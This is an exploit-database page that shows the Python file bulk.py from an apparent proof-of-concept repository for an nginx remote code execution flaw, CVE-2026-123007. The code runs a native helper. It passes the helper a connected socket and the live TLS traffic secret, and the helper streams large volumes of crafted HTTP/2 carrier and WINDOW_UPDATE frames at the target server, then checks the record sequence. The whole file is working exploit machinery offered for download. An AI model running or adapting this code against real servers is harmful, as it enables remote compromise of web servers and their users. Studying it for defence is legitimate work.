Exploit database

GH-c6ac2ca0a09a35186b2a726587b1665b

sfewer-r7/cve-2026-123007

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-123007

24 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files11
sfewer-r7/cve-2026-123007Revision ebff45f1b52e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/nginx_rce/bulk.py

Python · 6,927 bytes
"""Supervise the constant-memory native TLS/HTTP2 bulk sender."""

import json
import logging
import subprocess
import time

from .constants import TLS_RECORD_PLAINTEXT
from .protocol import head_request_block

LOG = logging.getLogger("nginx-rce")


def native_records(session, config, carrier_frames, frames_per_request,
                   first_stream, wu_count, wu_phase, label):
    """Run the constant-memory sender and adopt its resulting TLS sequence."""
    LOG.debug("streamer start: %s carrier_frames=%d first_stream=%d "
              "WINDOW_UPDATEs=%d sequence=%d", label, carrier_frames,
              first_stream, wu_count, session.transport.writer.sequence)
    # Python supplies routing-sensitive HPACK once; C repeats only the large
    # fixed representation and therefore cannot drift from the selected vhost.
    carrier_head = (head_request_block(
                        config.authority, config.http["primary_path"])
                    if carrier_frames else b"")
    track_progress = carrier_frames >= 64
    progress_path = str(config.progress) if track_progress else ""
    # The helper inherits the already-connected socket and current traffic key.
    # It does not open another connection or perform its own handshake.
    command = [str(config.streamer), str(session.transport.raw.fileno()),
               session.transport.writer.secret.hex(),
               session.transport.tls.cipher()[0],
               str(session.transport.writer.sequence), str(carrier_frames),
               str(frames_per_request), str(first_stream), str(wu_count),
               str(wu_phase), progress_path, carrier_head.hex(),
               (str(config.transport_profile["carrier_frame_payload_bytes"])
                if carrier_frames else "0"),
               (config.transport_profile.get("carrier_filler_hex", "20")
                if carrier_frames else "")]
    progress_offset = (config.progress.stat().st_size
                       if track_progress and config.progress.exists() else 0)
    progress_fragment = ""

    def report_progress():
        nonlocal progress_offset, progress_fragment
        if not config.progress.exists():
            return
        with config.progress.open() as stream:
            stream.seek(progress_offset)
            addition = stream.read()
            progress_offset = stream.tell()
        # Keep an incomplete final JSON line for the next poll instead of
        # accepting a partially written progress record.
        progress_fragment += addition
        lines = progress_fragment.split("\n")
        progress_fragment = lines.pop()
        for line in lines:
            update = json.loads(line)
            if label == "carrier" and update["phase"] == "carrier":
                LOG.info("fixed carrier progress: %d%% (%.2f GiB sent)",
                         round(100 * update["done"] / update["total"]),
                         update["app_bytes"] / (1 << 30))
            LOG.debug("streamer progress: %s phase=%s done=%d/%d "
                      "records=%d wire_bytes=%d elapsed=%.2fs", label,
                      update["phase"], update["done"], update["total"],
                      update["records"], update["wire_bytes"],
                      update["elapsed_seconds"])

    if track_progress:
        process = subprocess.Popen(
            command, pass_fds=(session.transport.raw.fileno(),),
            stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        deadline = time.monotonic() + 7200
        while process.poll() is None:
            if time.monotonic() >= deadline:
                process.kill()
                stdout, stderr = process.communicate()
                raise subprocess.TimeoutExpired(command, 7200,
                                                output=stdout, stderr=stderr)
            time.sleep(0.25)
            report_progress()
        stdout, stderr = process.communicate()
        report_progress()
    else:
        completed = subprocess.run(
            command, pass_fds=(session.transport.raw.fileno(),),
            capture_output=True, text=True, timeout=7200)
        process, stdout, stderr = completed, completed.stdout, completed.stderr
    if process.returncode:
        raise RuntimeError(
            f"{label} streamer failed ({process.returncode}): "
            f"{stderr[-1000:]}")
    result = json.loads(stdout)
    # Treat helper output as a ledger, not a success hint. Sequence ownership
    # moves back to Python only if every implied frame and TLS record agrees.
    expected_application = (carrier_frames
                            * (config.transport_profile[
                                "carrier_frame_payload_bytes"] + 9)
                            + wu_count * 13)
    expected_records = (
        carrier_frames * ((config.transport_profile[
            "carrier_frame_payload_bytes"] + 9 + TLS_RECORD_PLAINTEXT - 1)
                          // TLS_RECORD_PLAINTEXT)
        + (wu_count * 13 + TLS_RECORD_PLAINTEXT - 1)
          // TLS_RECORD_PLAINTEXT)
    expected_next_sid = first_stream + 2 * (carrier_frames
                                             // frames_per_request)
    expected = {
        "ok": True,
        "carrier_frames": carrier_frames,
        "frames_per_request": frames_per_request,
        "carrier_requests": carrier_frames // frames_per_request,
        "carrier_payload_bytes": (carrier_frames
                                  * config.transport_profile[
                                      "carrier_frame_payload_bytes"]),
        "carrier_frame_bytes": expected_application - wu_count * 13,
        "first_sid": first_stream,
        "next_sid": expected_next_sid,
        "wu_count": wu_count,
        "wu_initial_phase": wu_phase,
        "start_sequence": session.transport.writer.sequence,
        "application_bytes": expected_application,
    }
    mismatches = {key: (result.get(key), value)
                  for key, value in expected.items()
                  if result.get(key) != value}
    records = result.get("records")
    if (records != expected_records
            or result.get("wire_bytes") != expected_application + 22 * records
            or result.get("final_sequence")
               != session.transport.writer.sequence + records):
        mismatches["record_ledger"] = (
            (records, result.get("wire_bytes"), result.get("final_sequence")),
            "internally consistent TLS records")
    if mismatches:
        raise RuntimeError(f"{label} streamer result mismatch: {mismatches}")
    session.transport.writer.sequence = result["final_sequence"]
    LOG.debug("streamer complete: %s elapsed=%.3fs records=%d "
              "application_bytes=%d wire_bytes=%d sequence=%d", label,
              result["elapsed_seconds"], result["records"],
              result["application_bytes"], result["wire_bytes"],
              result["final_sequence"])
    return result